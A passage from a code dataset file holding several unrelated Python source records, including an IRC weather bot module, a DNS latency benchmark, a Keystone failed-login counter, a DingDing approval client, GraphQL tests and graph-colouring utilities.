{wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n \n if re.search(\"reset\", wsetting):\n if wvalue == \"true\":\n for wsetting in ['weather-units', 'weather-show-condition', 'weather-show-humidity', 'weather-show-sunriseset', 'weather-show-wind', 'weather-show-aqi']:\n bot.db.delete_nick_value(trigger.nick, wsetting)\n return(bot.say(\"Preferences reset to default\"))\n else:\n return bot.say(\"sorry, {wvalue} isn't a valid option for {wsetting}. Please use {opt1}, {opt2}.\".format(\n wvalue=wvalue,\n wsetting=wsetting,\n opt1='true',\n opt2='false',\n ))\n\n@commands('weather', 'wea')\n@example('.weather')\n@example('.weather London')\n@example('.weather Seattle, US')\n@example('.weather 90210')\ndef weather_command(bot, trigger):\n \"\"\".weather location - Show the weather at the given location.\"\"\"\n if bot.config.weather.weather_api_key is None or bot.config.weather.weather_api_key == '':\n return bot.reply(\"Weather API key missing. Please configure this module.\")\n if bot.config.weather.geocoords_api_key is None or bot.config.weather.geocoords_api_key == '':\n return bot.reply(\"GeoCoords API key missing. Please configure this module.\")\n\n # Ensure we have a location for the user\n location = trigger.group(2)\n if not location:\n latitude = bot.db.get_nick_value(trigger.nick, 'latitude')\n longitude = bot.db.get_nick_value(trigger.nick, 'longitude')\n if not latitude or not longitude:\n return bot.say(\"I don't know where you live. \"\n \"Give me a location, like {pfx}{command} London, \"\n \"or tell me where you live by saying {pfx}setlocation \"\n \"London, for example.\".format(command=trigger.group(1),\n pfx=bot.config.core.help_prefix))\n\n data = get_weather(bot, trigger)\n\n\n # check to see the user has configured their preferences\n if bot.db.get_nick_value(trigger.nick, 'weather-units') is None:\n nagcount = bot.db.get_nick_value(trigger.nick, 'weather-config-nag', default=0)\n if nagcount == 0:\n helpmsg = (\"I noticed that you have not told me how you like to see your weather! \"\n \"You can tailor your experience by using the .weatherset (or .wset) command.\"\n )\n exmsg = (\"You can set your units to Imperial (US), Metric (EU), or both, as well as setting \"\n \" any of the following features to true (shown) or false: \"\n \"condition | humidity | sunrise | wind | aqi. Use .help weatherset for more info!\"\n )\n nagmsg = \"Don't worry if you don't have time, I'll remind you later (but not too often!)\"\n for msg in [helpmsg, exmsg, nagmsg]:\n bot.say(msg, trigger.nick)\n nagcount += 1\n if nagcount >= 10:\n nagcount = 0 #reset\n bot.db.set_nick_value(trigger.nick, 'weather-config-nag', nagcount)\n\n # start customizing the return string\n\n # get weather units preference\n if bot.db.get_nick_value(trigger.nick, 'weather-units') is not None:\n weather_units = bot.db.get_nick_value(trigger.nick, 'weather-units')\n else:\n weather_units = 'both'\n\n weather = u'{location}: {temp}'.format(\n location=data['location'],\n temp=get_temp(weather_units, data['temp'])\n )\n\n if bot.db.get_nick_value(trigger.nick, 'weather-show-condition') is True or bot.db.get_nick_value(trigger.nick, 'weather-show-condition') is None:\n weather += ', {condition}'.format(condition=data['condition'])\n \n if bot.db.get_nick_value(trigger.nick, 'weather-show-humidity') is True or bot.db.get_nick_value(trigger.nick, 'weather-show-humidity') is None:\n weather += ', {humidity}'.format(humidity=get_humidity(data['humidity']))\n\n # # Some providers don't give us UV Index\n # if 'uvindex' in data.keys():\n # weather += ', UV Index: {uvindex}'.format(uvindex=data['uvindex'])\n\n if bot.db.get_nick_value(trigger.nick, 'weather-show-sunriseset') is True or bot.db.get_nick_value(trigger.nick, 'weather-show-sunriseset') is None:\n weather += ', Sunrise: {sunrise} Sunset: {sunset}'.format(sunrise=data['sunrise'], sunset=data['sunset'])\n \n if bot.db.get_nick_value(trigger.nick, 'weather-show-wind') is True or bot.db.get_nick_value(trigger.nick, 'weather-show-wind') is None:\n weather += ', {wind}'.format(wind=get_wind(weather_units, data['wind']['speed'], data['wind']['bearing']))\n \n if bot.db.get_nick_value(trigger.nick, 'weather-show-aqi') is True or bot.db.get_nick_value(trigger.nick, 'weather-show-aqi') is None:\n aqi_method = \"weather\" # to handle how we build the string\n weather += ',{aqi_data}'.format(aqi_data=get_aqi(bot, latitude, longitude, aqi_method))\n\n return bot.say(weather)\n\n\n@commands('forecast')\n@example('.forecast')\n@example('.forecast London')\n@example('.forecast Seattle, US')\n@example('.forecast 90210')\ndef forecast_command(bot, trigger):\n aqi_method = \"forecast\" # to handle how we build the string\n \"\"\".forecast location - Show the weather forecast for tomorrow at the given location.\"\"\"\n if bot.config.weather.weather_api_key is None or bot.config.weather.weather_api_key == '':\n return bot.reply(\"Weather API key missing. Please configure this module.\")\n if bot.config.weather.geocoords_api_key is None or bot.config.weather.geocoords_api_key == '':\n return bot.reply(\"GeoCoords API key missing. Please configure this module.\")\n\n # Ensure we have a location for the user\n location = trigger.group(2)\n if not location:\n latitude = bot.db.get_nick_value(trigger.nick, 'latitude')\n longitude = bot.db.get_nick_value(trigger.nick, 'longitude')\n if not latitude or not longitude:\n return bot.say(\"I don't know where you live. \"\n \"Give me a location, like {pfx}{command} London, \"\n \"or tell me where you live by saying {pfx}setlocation \"\n \"London, for example.\".format(command=trigger.group(1),\n pfx=bot.config.core.help_prefix))\n\n data = get_forecast(bot, trigger)\n\n # # start customizing the return string\n\n # get weather units preference\n if bot.db.get_nick_value(trigger.nick, 'weather-units') is not None:\n weather_units = bot.db.get_nick_value(trigger.nick, 'weather-units')\n else:\n weather_units = 'both'\n\n forecast = '{location}'.format(location=data['location'])\n\n for day in data['data']:\n forecast += ' :: {dow} - {summary} - {high_temp} / {low_temp}'.format(\n dow=day.get('dow'),\n summary=day.get('summary'),\n high_temp=get_temp(weather_units, day.get('high_temp')),\n low_temp=get_temp(weather_units, day.get('low_temp'))\n )\n return bot.say(forecast)\n\n@commands('aqi')\n@example('.aqi')\n@example('.aqi London')\n@example('.aqi Seattle, US')\n@example('.aqi 90210')\ndef aqi_command(bot, trigger):\n \"\"\".aqi location - Show the air quality index within 5miles of set or given location.\"\"\"\n aqi_method = \"aqi\" # to handle how we build the string\n # Ensure we have a location for the user\n location = trigger.group(2)\n if not location:\n latitude = bot.db.get_nick_value(trigger.nick, 'latitude')\n longitude = bot.db.get_nick_value(trigger.nick, 'longitude')\n location = bot.db.get_nick_value(trigger.nick, 'location')\n else:\n latitude, longitude, location = get_geocoords(bot, trigger)\n if not latitude or not longitude:\n return bot.say(\"I don't know where you live. \"\n \"Tell me where you live by saying {pfx}setlocation \"\n \"Los Angeles, for example.\".format(command=trigger.group(1),\n pfx=bot.config.core.help_prefix))\n\n aqi = get_aqi(bot, latitude, longitude, aqi_method)\n\n return bot.say(aqi)\n\ndef get_aqi(bot, latitude, longitude, aqi_method):\n data = airnow_aqi(bot, latitude, longitude)\n aqi = \"\"\n # Fremont, CA: O3 Good (AQI: 28), PM2.5 Good (AQI: 18)\n if aqi_method == \"aqi\":\n if 'reporting_area' in data.keys():\n aqi += \"{}\".format(data['reporting_area'])\n \n if 'state' in data.keys():\n aqi += \", {}\".format(data['state'])\n\n aqi += \": \"\n\n if 'o3_status' in data.keys():\n aqi += \" O3 {}\".format(data['o3_status'])\n \n if 'o3_aqi' in data.keys():\n aqi += \" (AQI: {})\".format(data['o3_aqi'])\n \n if 'pm_status' in data.keys():\n aqi += \" PM2.5 {}\".format(data['pm_status'])\n \n if 'pm_aqi' in data.keys():\n aqi += \" (AQI: {})\".format(data['pm_aqi'])\n\n return aqi\n \n@commands('setlocation')\n@example('.setlocation London')\n@example('.setlocation Seattle, US')\n@example('.setlocation 90210')\n@example('.setlocation w7174408')\ndef update_location(bot, trigger):\n if bot.config.weather.geocoords_api_key is None or bot.config.weather.geocoords_api_key == '':\n return bot.reply(\"GeoCoords API key missing. Please configure this module.\")\n\n # Return an error if no location is provided\n if not trigger.group(2):\n bot.reply('Give me a location, like \"London\" or \"90210\".')\n return NOLIMIT\n\n # Get GeoCoords\n latitude, longitude, location = get_geocoords(bot, trigger)\n\n # Assign Latitude & Longitude to user\n bot.db.set_nick_value(trigger.nick, 'latitude', latitude)\n bot.db.set_nick_value(trigger.nick, 'longitude', longitude)\n bot.db.set_nick_value(trigger.nick, 'location', location)\n\n return bot.reply('I now have you at {}'.format(location))\n","sub_path":"sopel_modules/lookoutside/lookoutside.py","file_name":"lookoutside.py","file_ext":"py","file_size_in_byte":21961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"553338401","text":"\nfrom dns import resolver\nfrom time import perf_counter, sleep\nimport random\n\nservers = ['192.168.1.6']\nqueries = 500\nprintStats = True\n\nwith open('urls.txt') as file: \n lines = file.readlines()\n r = resolver.Resolver()\n \n for server in servers:\n print(\"\\nServer: %s\" % server)\n r.nameservers = [server]\n\n _50 = _100 = _500 = _1000 = other = 0.0\n fastest = slowest = total = 0.0\n fastest_str = slowest_str = ''\n for num in range(0, queries):\n url = random.choice(lines).rstrip()\n start = perf_counter()\n try:\n r.query(url)\n stop = perf_counter()\n length = stop-start\n total += length\n\n if(length < fastest or fastest == 0):\n fastest = length\n fastest_str = url\n if(length > slowest):\n slowest = length\n slowest_str = url\n if(length < 0.05):\n _50 += 1\n elif(length < 0.1):\n _100 += 1\n elif(length < 0.3):\n _500 += 1\n elif(length < 1):\n _1000 += 1\n elif(length > 1):\n other += 1\n\n print(num, \"%s %.2fms\" % (url, length*1000))\n except Exception as e:\n print(\"%d Exception for %s\" % (num, url))\n print(e)\n sleep(0.1)\n \n if printStats:\n print(\"Average Time: %.2fms\" % (1000*total/queries))\n print(\"Fastest: %s %.2fms\" % (fastest_str, (fastest)*1000))\n print(\"Slowest: %s %.2fms\" % (slowest_str, (slowest)*1000))\n print(\"< 50ms: %d%%\" % (100*_50/queries))\n print(\"50 - 100ms: %d%%\" % (100*_100/queries))\n print(\"100 - 500ms: %d%%\" % (100*_500/queries))\n print(\"500 - 1000ms: %d%%\" % (100*_1000/queries))\n print(\" > 1s: %d%%\" % (100*other/queries))\n \n","sub_path":"scripts/dns_latency.py","file_name":"dns_latency.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"468558438","text":"#!/usr/bin/env python3\n# parse keystone.common.wsgi and return number of failed login attempts\nloginfail = 0 # counter for fails\n# open the file for reading\nkeystone_file = open(\"/home/student/mycode/attemptedlogin/keystone.common.wsgi\",\"r\")\n\nkeystone_file_lines=keystone_file.readlines()\n\nfor line in keystone_file_lines:\n\n if \"- - - - -] Authorization failed\" in line:\n loginfail += 1\nprint(\"the number of failed attempts is\", loginfail)\nkeystone_file.close()\n","sub_path":"attemptedlogin/keystone.counter.py","file_name":"keystone.counter.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"633835443","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -\nimport requests\nimport json\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom .dingding import DingDing\n\nclass tf_detail():\n ding = DingDing()\n token = ''\n userId = ''\n dept_id = ''\n userName = ''\n userCode = ''\n headers = {'content-type': 'application/json'}\n tfid = []\n fcv = []\n\n def login_post(self,user, passwd):\n url = 'https://wx.ridgepole.com/api/user/login'\n payload = {\n 'Username': user,\n 'Password': passwd\n }\n req = requests.post(url, data=json.dumps(payload), headers=self.headers)\n login_msg = req.json()\n if str('userCode') in login_msg:\n self.token = login_msg['token']\n self.userId = self.login_id()\n self.userName = login_msg['userName']\n self.userCode = login_msg['userCode']\n return login_msg\n else:\n self.token = None\n self.userId = None\n return False\n\n def createProcess(self):\n self.dept_id = self.ding.getDeptId(self.userId)\n print('dept_id:',self.dept_id)\n return self.ding.processInstance(self.userId,self.dept_id,self.fcv)\n\n def tf_action(self,turn):\n self.fcv = [\n {'name': '接收人', 'value':self.tfid},\n {'name': '转向', 'value': turn}\n ]\n print('type:',type(self.fcv))\n print('fcv:',self.fcv)\n\n\n def login_id(self):\n url = 'https://wx.ridgepole.com/api/user/getding?token=%s' % (self.token)\n req = requests.get(url)\n return req.text\n\n def tf_id(self,usercode):\n url = 'https://wx.ridgepole.com/api/ding/getuserid'\n headers = {'content-type': 'application/json'}\n date = {'token':self.token,\n 'usercode':usercode\n }\n req = requests.post(url, data=json.dumps(date), headers=headers)\n self.tfid.clear()\n self.tfid.append(str(req.json()['userId']))\n return self.tfid\n\n\n\n\n\n\n","sub_path":"Mysite_login/transferfile/tf_detail.py","file_name":"tf_detail.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"430570667","text":"import json\n\nfrom graphene_django.utils.testing import GraphQLTestCase\nfrom myproject.schema import schema\nfrom courses.models import Course\n\nclass GQLTestCase(GraphQLTestCase):\n\n GRAPHQL_SCHEMA = schema\n\n def test_all_course_query(self):\n \"\"\"\n Testing Course via all_course\n \"\"\"\n response = self.query(\n '''\n query {\n allCourse{\n title\n }\n }\n ''',\n op_name='allCourse'\n )\n\n self.assertResponseNoErrors(response)\n\n def test_all_teacher_query(self):\n \"\"\"\n Testing Teacher via all_teacher\n \"\"\"\n response = self.query(\n '''\n query {\n allTeacher{\n city\n }\n }\n ''',\n op_name='allTeacher'\n )\n\n self.assertResponseNoErrors(response)\n\n def test_all_lesson_query(self):\n \"\"\"\n Testing Teacher via all_lesson\n \"\"\"\n response = self.query(\n '''\n query {\n allLesson{\n title\n }\n }\n ''',\n op_name='allLesson'\n )\n\n self.assertResponseNoErrors(response)\n\n def test_retrieve_course_query(self):\n \"\"\"\n Testing Course via retrieve_course\n \"\"\"\n Course.objects.create(title=\"Test\")\n response = self.query(\n '''\n query {\n retrieveCourse(id:1){\n title\n }\n }\n ''',\n op_name='retrieveCourse'\n )\n\n self.assertResponseNoErrors(response)\n\n def test_changeCourseName_query(self):\n \"\"\"\n Testing via changeCourseName\n \"\"\"\n Course.objects.create(title=\"Test\")\n response = self.query(\n '''\n mutation{\n changeCourseName(courseId:1, newTitle:\"test\"){\n result\n course{\n title\n }\n }\n }\n ''',\n op_name='changeCourseName'\n )\n\n self.assertResponseNoErrors(response)\n","sub_path":"myproject/coursesapi/tests_GQL.py","file_name":"tests_GQL.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"433987790","text":"import collections\nimport numpy\nimport solver_minizinc\n\nimport math\nimport random\nimport networkx\nimport itertools\n\n# Use 'largest color class degree'\n\n## Heuristics\ndef largest_cardinality_fun():\n return lambda s: -len(s)\n\ndef smallest_cardinality_fun():\n return lambda s: len(s)\n\ndef largest_degree_fun(edges, n):\n degs = all_degrees(edges, n)\n return lambda s: -color_degree(s,degs)\n\ndef smallest_degree_fun(edges, n):\n degs = all_degrees(edges, n)\n return lambda s: color_degree(s,degs)\n\ndef largest_density_fun(edges, n):\n degs = all_degrees(edges, n)\n return lambda s: -color_degree(s, degs)/ len(s)\n\ndef random_fun():\n return lambda s: random.random()\n\n# def largest_connectivity(color_classes):\n# num_classes = len(color_classes)\n# connectivity_idx = [0]*num_classes\n# for i in range(num_classes - 1):\n# for j in range(i+1, num_classes):\n# if color_classes[i].intersection(color_classes[j]):\n# connectivity_idx[i] +=1\n# connectivity_idx[j] +=1\n# return lambda s: -connectivity_idx[s]\n\n\n###################################\n\n\n#def largest_color_class(coloring, edges, n, k):\n# return create_reduced_graph(coloring, edges, n, k, largest_degree_fun(edges, n))\n\n# Create data files for the graph split\ndef split(coloring, edges, n, k, sort_fun = largest_cardinality_fun()):\n\n color_classes = list((create_color_classes(coloring)).values())\n split_graph_data = split_graph(color_classes, edges, n, k, sort_fun)\n\n for g in split_graph_data:\n (g_n, g_edges, g_coloring) = g\n (g_model_data, _cfg) = solver_minizinc.create_data(sorted(g_edges), g_n, None)\n ## TODO: revise upper bound\n ## TODO: add warm_color\n\n g_model_data[\"upper_bound\"] = max(g_coloring) + 1\n ## Bring warm_colors to 0-based indexing\n g_model_data[\"warm_colors\"] = { i : g_coloring[i] for i in range(0, len(g_coloring) ) }\n dzn = f\"{n}.{k}.{g_n}-split.dzn\"\n print(f\"Writing split graph {dzn}...\")\n solver_minizinc.write_dzn(g_model_data, f\"{dzn}\")\n print(\"Done.\")\n\n\n\n\ndef all_degrees(edges, n):\n degrees = [0] * n\n for e in edges:\n degrees[e[0]] += 1\n degrees[e[1]] += 1\n return degrees\n\ndef color_degree(color_class, degrees):\n return sum(degrees[v] for v in color_class)\n\n\n## Split graph into 2 parts such as first part contains\n## 'biggest' color classes (by sort_fun)\n## Each part will be represented by (graph_n, graph_edges, graph_color_classes)\ndef split_graph(color_classes, edges, n, k, sort_fun):\n # Sort color classes usig sort_fun\n list.sort(color_classes, key = sort_fun)\n\n graphs = []\n parts = [color_classes[:k], color_classes[k:]]\n for i in range(2):\n part = parts[i]\n vertex_set = set.union(*part)\n print(\"Removing vertices...\")\n edgeset = remove_vertices(vertex_set, edges)\n print(f\"Part {i}: {len(edgeset)} edges\")\n (part_edges, vertex_idx) = normalize_edges(edgeset)\n ## Revise remaining coloring\n part_coloring = revise_coloring(parts[not i], vertex_idx)\n part_n = len(vertex_idx)\n print(f\"Part {i}: {len(part_edges)} edges, {part_n} vertices\")\n print(f\"Part {i} coloring: {max(part_coloring) + 1} color classes\")\n graphs.append((part_n, part_edges, part_coloring))\n\n return graphs\n\n\n## Remove vertices along with their edges\ndef remove_vertices(vertices, edges):\n edge_set = set(edges)\n for e in edges:\n (v1, v2) = e\n if (v1 in vertices) or (v2 in vertices):\n edge_set.remove(e)\n return edge_set\n\n## Renumerate edge vertices based on the correspondent vertex numbering.\n##\ndef normalize_edges(edgeset):\n print(\"Normalizing edges...\")\n ## Create vertex list out of edge set\n vertex_set = set()\n for e in edgeset:\n vertex_set.add(e[0])\n vertex_set.add(e[1])\n\n vertex_idx = sorted(list(vertex_set))\n\n edges = list(edgeset)\n for i in range(len(edges)):\n (v1, v2) = edges[i]\n edges[i] = (vertex_idx.index(v1), vertex_idx.index(v2))\n\n biggest_vertex = numpy.amax(edges)\n print (f\"Biggest vertex: {biggest_vertex}\")\n assert biggest_vertex + 1 == len(vertex_idx), f\"biggest vertex:{biggest_vertex}, vertices:{len(vertex_idx)}\"\n return (edges, vertex_idx)\n\n## Fix numbering in color classes, based on vertex numbering\ndef revise_coloring(color_classes, vertex_idx):\n coloring = [0]*len(vertex_idx)\n color_number = 0\n for c in color_classes:\n for v in c:\n coloring[vertex_idx.index(v)] = color_number\n color_number +=1\n\n return normalize_colors(coloring)\n\n# Create color classes from the given coloring\ndef create_color_classes(coloring):\n color_classes = collections.defaultdict(set)\n for i in range(len(coloring)):\n color_classes[coloring[i]].add(i)\n\n return color_classes\n #[color_classes[k] for k in color_classes.keys()]\n\ndef create_connectivity_map(coloring, edges):\n connectivity_map = collections.defaultdict(set)\n for e in edges:\n (v1, v2) = e\n connectivity_map[coloring[v1]].add(coloring[v2])\n connectivity_map[coloring[v2]].add(coloring[v1])\n return connectivity_map\n\ndef adjacency_matrix(edges, n):\n matrix = numpy.array([[0]*n]*n)\n for e in edges:\n (v1, v2) = e\n matrix[v1, v2] = 1\n matrix[v2, v1] = 1\n return matrix\n\n\n\n##\n\ndef recolor(coloring, edges, n):\n color_classes = create_color_classes(coloring)\n adj_matrix = adjacency_matrix(edges, n)\n\n recolored_vertices = \\\n [recolor_vertex(v, coloring[v], adj_matrix, color_classes) for v in range(n)]\n # Return False if no recoloring was found, otherwise return new color classes\n return any(recolored_vertices) and (color_classes, len([r for r in recolored_vertices if r]))\n\n\ndef recolor_vertex(vertex, vertex_color, adjacency_matrix, color_classes):\n # Recolor a vertex.\n # For that, find a color class whose vertices\n # are all non-adjacent to that vertex.\n #\n for c in color_classes.keys():\n c_class = color_classes[c]\n if vertex_color == c:\n # print(f\"{c} is a home of vertex {vertex}\")\n continue\n if all(adjacency_matrix[vertex, v] == 0 for v in c_class):\n ## We found an alternative color, move vertex to new color class\n color_classes[c].add(vertex)\n color_classes[vertex_color].remove(vertex)\n print(\"recolored vertex {vertex} from color {vertex_color} to color {c}\")\n return c\n ## No suitable class found\n return False\n\n## The coloring may not use the sequential color numbers;\n## i.e. the color classes are vertices grouped by the same color number.\n## Normalization will renumerate vertices with sequential color numbering.\n## Example: coloring [1,3,3,5] -> (possible) coloring [1,2,2,3]\ndef normalize_colors(coloring):\n c_classes = create_color_classes(coloring)\n normalized_coloring = [0]*len(coloring)\n color_number = 0\n for c in c_classes.values():\n for v in c:\n normalized_coloring[v] = color_number\n color_number +=1\n assert max(normalized_coloring) == len(c_classes) - 1\n return normalized_coloring\n\n\n## Create . mtx file from edge data\ndef edges_to_matrixmarket(edges, mtxfile):\n file_h = open(mtxfile, \"w\")\n header = \"%%MatrixMarket matrix coordinate pattern symmetric\\n\"\n file_h.write(header)\n vertex_num = numpy.amax(edges) + 1\n file_h.write(f\"{vertex_num} {vertex_num} {len(edges)}\\n\")\n for e in edges:\n file_h.write(f\"{e[0] + 1} {e[1] + 1}\\n\")\n\n file_h.close()\n\n# Build complementary graph\n# Note: we assume there is no isoltated vertices in original graph\ndef complementary_graph(edges):\n vertex_num = numpy.amax(edges) + 1\n edge_set = set(edges)\n complementary_edges = []\n for v1 in range(vertex_num - 1):\n for v2 in range(v1 + 1, vertex_num):\n e = (v1, v2)\n (e not in edge_set) and complementary_edges.append(e)\n\n assert len(edges) + len(complementary_edges) == vertex_num*(vertex_num - 1) / 2\n return complementary_edges\n\n## Stats for conflicting edges and vertices by color\nUNCOLORED = - 1\ndef conflict_stats(edgeset, coloring):\n # Set of vertices with conflicting coloring\n conflicting_vertices = set()\n # Set of edges with conflicting coloring\n conflicting_edges = set()\n # Degrees of vertices with conflicting coloring\n conflicting_degrees = collections.defaultdict(int)\n # Neighbourhood colors per vertex\n neighbourhood_colors = collections.defaultdict(set)\n for (v1, v2) in edgeset:\n color1, color2 = coloring[v1], coloring[v2]\n if color1 == UNCOLORED:\n continue\n\n if color1 == color2:\n conflicting_edges.add((v1, v2))\n conflicting_vertices.add(v1)\n conflicting_vertices.add(v2)\n conflicting_degrees[v1] +=1\n conflicting_degrees[v2] +=1\n else:\n neighbourhood_colors[v1].add(color2)\n neighbourhood_colors[v2].add(color1)\n\n return (conflicting_edges, conflicting_vertices, conflicting_degrees, neighbourhood_colors)\n\ndef remove_conflicting_vertex(vertex, edgeset, partial_coloring, vertex_degrees):\n for e in edgeset.copy():\n if vertex in e:\n edgeset.remove(e)\n ## Remove vertex with bigger degree\n (v1, v2) = e\n vertex_to_remove = v1 if vertex_degrees[v1] > vertex_degrees[v2] else v2\n partial_coloring[vertex_to_remove] = -1\n\n\n\n\ndef remove_conflicts(edgeset, partial_coloring):\n coloring = partial_coloring.copy()\n ## Create initial conflict data\n (conf_edges, conf_vertices, conf_degrees, _) = conflict_stats(edgeset, coloring)\n while len(conf_vertices) > 0:\n max_degree_v = max(conf_degrees, key=conf_degrees.get)\n min_degree_v = min(conf_degrees, key=conf_degrees.get)\n print(f\"min/max degrees: {conf_degrees[min_degree_v]}/{conf_degrees[max_degree_v]}\")\n remove_conflicting_vertex(max_degree_v, conf_edges, coloring, conf_degrees)\n ## Update the conflict data\n (conf_edges, conf_vertices, conf_degrees, _) = conflict_stats(conf_edges, coloring)\n print (f\"# of conflicting edges: {len(conf_edges)}\")\n return coloring\n\n## Dictionary \"vertex -> set of clique neighbours\"\ndef clique_neighbours(cliques, vertex_set):\n vertex_neighbours = collections.defaultdict(list)\n if vertex_set:\n #vertex_set = set.union(*vertices.values())\n\n for cl in cliques.values():\n ## Sub-clique of 'cl' consists of \"conflict\" vertices\n sub_clique = set.intersection(cl, vertex_set)\n #print(f\"Sub-clique: {sub_clique}\")\n for v in sub_clique:\n s = sub_clique.copy()\n s.remove(v)\n if s != set():\n vertex_neighbours.update([ (v, list(s)) ])\n\n return vertex_neighbours\n\n\ndef recolor_conflicting_vertex(vertex_to_recolor, partial_coloring, vertex_neighbours):\n ## Choose the vertex in the neighbourhood to swap colors\n neighbours = vertex_neighbours[vertex_to_recolor]\n if neighbours:\n swap_vertex = neighbours[0]\n print(f\"Swapping colors for {vertex_to_recolor} and {swap_vertex}...\")\n ## Swap vertex colors\n partial_coloring[vertex_to_recolor], partial_coloring[swap_vertex] = \\\n partial_coloring[swap_vertex], partial_coloring[vertex_to_recolor]\n else:\n print(f\"Nothing to swap for vertex {vertex_to_recolor}, assigning a new color randomly..\")\n partial_coloring[vertex_to_recolor] = random.sample(range(max(partial_coloring)), 1)[0]\n #max(partial_coloring) + 1\n\n## Recolor conflicting vertices based on clique membership\ndef recolor_conflicts(edgeset, partial_coloring, cliques):\n coloring = partial_coloring.copy()\n ## Create initial conflict data\n (conf_edges, conf_vertices, conf_degrees, _) = conflict_stats(edgeset, coloring)\n vertex_neighbours = clique_neighbours(cliques, conf_vertices)\n while len(conf_vertices) > 0:\n max_degree_v = max(conf_degrees, key=conf_degrees.get)\n min_degree_v = min(conf_degrees, key=conf_degrees.get)\n print(f\"min/max degrees: {conf_degrees[min_degree_v]}/{conf_degrees[max_degree_v]}\")\n recolor_conflicting_vertex(random.sample(list(conf_vertices), 1)[0], coloring, vertex_neighbours)\n ## Update the conflict data\n (conf_edges, conf_vertices, conf_degrees, _) = conflict_stats(edgeset, coloring)\n vertex_neighbours = clique_neighbours(cliques, conf_vertices)\n print (f\"# of conflicting vertices/edges: {len(conf_vertices)}/{len(conf_edges)}\")\n print(f\"# of color classes: {max(normalize_colors(coloring))}\")\n return coloring\n\n\n# conflicts_by_clique =\n# [el for el in [{\n# 'v_conflicts': len(set.intersection(cl, conf_vertices)),\n# 'e_conflicts': sum(conf_degrees[v] for v in cl),\n# 'clique_size': len(cl)} for cl in cliques.values()] if el['v_conflicts'] > 0]\n\ndef recolor_with_neighbourhood(edgeset, coloring):\n all_colors = set(range(max(coloring) + 1))\n\n change_flag = True\n while change_flag:\n ## Build conflict data and dictionary of neighbourhood colors\n conf_edges, conf_vertices, conf_degrees, neighbourhood_colors = conflict_stats(edgeset, coloring)\n print (f\"conflicts: {len(conf_edges)} edges, {len(conf_vertices)} vertices\")\n ## Build dictionary of allowed colors\n change_flag = False\n ## Choose from vertices with some allowed colors\n for v in conf_vertices:\n current_coloring = coloring[v]\n allowed_colors = set.difference(set.difference(all_colors, {current_coloring}),neighbourhood_colors[v])\n\n if allowed_colors != set():\n coloring[v] = allowed_colors.pop()\n assert current_coloring != coloring[v], f\"Recoloring didn't happen for {v}!\"\n print(f\"Recolored vertex {v} to {coloring[v]}.\")\n conf_edges, conf_vertices, conf_degrees, neighbourhood_colors = conflict_stats(edgeset, coloring)\n assert v not in conf_vertices, f\"Vertex {v} is still in conflicting list!\"\n change_flag = True\n break\n\n return conf_edges, conf_vertices, conf_degrees\n\n\n\n\n\n\n## Greedy coloring\ndef greedy_coloring(edges, strategy):\n G = networkx.graph.Graph(edges)\n return dict_to_coloring(networkx.greedy_color(G, strategy))\n\n## Order color classes as imposed by original coloring\ndef default_color_ordering(coloring):\n ## Order vertices in the order of their color classes\n color_classes = create_color_classes(coloring)\n return flatten_iterable(color_classes.values())\n\ndef large_colors_first_ordering(coloring):\n color_classes = create_color_classes(coloring)\n order = sorted(color_classes, key = lambda k: len(color_classes[k]), reverse=True)\n ordered_classes = [color_classes[k] for k in order]\n return flatten_iterable(ordered_classes)\n\ndef random_ordering(coloring):\n color_classes = create_color_classes(coloring)\n order = list(color_classes.keys())\n random.shuffle(order)\n ordered_classes = [color_classes[k] for k in order]\n return flatten_iterable(ordered_classes)\n\ndef small_colors_first_ordering(coloring):\n color_classes = create_color_classes(coloring)\n order = sorted(color_classes, key = lambda k: len(color_classes[k]))\n ordered_classes = [color_classes[k] for k in order]\n return flatten_iterable(ordered_classes)\n\ndef reverse_colors_ordering(coloring):\n color_classes = create_color_classes(coloring)\n reversed_classes = [color_classes[k] for k in reversed(list(color_classes.keys()))]\n return flatten_iterable(reversed_classes)\n\n\ndef flatten_iterable(iter):\n return list(itertools.chain.from_iterable(iter))\n\n\n\ndef iterative_greedy(graph, coloring, heuristics = default_color_ordering):\n coloring_order = heuristics(coloring)\n ## Produce vertex->color dictionary\n color_dict = networkx.greedy_color(graph, lambda _G, _colors: coloring_order)\n return dict_to_coloring(color_dict)\n\ndef dict_to_coloring(color_dict):\n coloring = [0]*len(color_dict)\n for (v,c) in color_dict.items():\n coloring[v] = c\n return coloring\n\n# def mixed_strategy():\n# rnd_01 = random.sample([1, 2], 1)[0]\n# do_random_ord = random.sample(range(10), 1)[0] == 0\n# rnd_ord = random.sample([small_colors_first_ordering, reverse_colors_ordering], 1)[0]\n# return [large_colors_first_ordering]*(3 + rnd_01) \\\n# + [rnd_ord] * rnd_01 \\\n# + [random_ordering]*do_random_ord\n\ndef mixed_strategy(strategy_config):\n run_list = []\n for (strategy, choices) in strategy_config:\n # Add strategy run based on random sample from the range of choices\n #\n run_list = run_list + [strategy]*(random.sample(choices, 1)[0])\n return run_list\n\ndef default_mixed_strategy():\n strategy_config = [(large_colors_first_ordering, [4,5]),\n (random.sample([small_colors_first_ordering, reverse_colors_ordering], 1)[0], [1,2]),\n (random_ordering, [random.sample(range(5), 1)[0] == 1])\n ]\n return mixed_strategy(strategy_config)\n\ndef frequency_strategy(strategies, frequences):\n from random import choices\n s = sum(frequences)\n weights = [f/s for f in frequences]\n return choices(strategies, weights)[0]","sub_path":"coloring/coloring_utils.py","file_name":"coloring_utils.py","file_ext":"py","file_size_in_byte":17531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"181889731","text":"import pandas as pd\nimport numpy as np\n\n\n\ndf = pd.read_csv(\"./example/IMDB_Dataset.csv\", 